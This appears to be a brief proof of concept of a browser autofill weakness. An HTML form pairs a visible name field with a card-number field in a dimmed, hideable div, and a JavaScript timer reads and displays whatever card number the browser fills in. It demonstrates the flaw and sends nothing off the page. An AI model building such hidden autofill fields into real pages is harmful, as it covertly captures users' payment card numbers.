Autofill Problems

HTML

<form>
Your Name<input name="ccname" id="frmNameCC" required placeholder="Full Name" autocomplete="cc-name">
<div style="opacity: 0.4;border:1px solid #aaa;padding: 5px;margin: 40px 5px 5px 5px;font-color: white;">
This div could be easily hidden from view<br>
<input name="cardnumber" id="frmCCNum" required autocomplete="cc-number">
<span id="status"></span>
</div>
</form>

JavaScript

setInterval(
  function() {
    ccnum=document.getElementById("frmCCNum").value;
    if (ccnum != "") {
        document.getElementById("status").innerHTML="<br>Found ccnum:"+ccnum;
    }
  },
  1000
);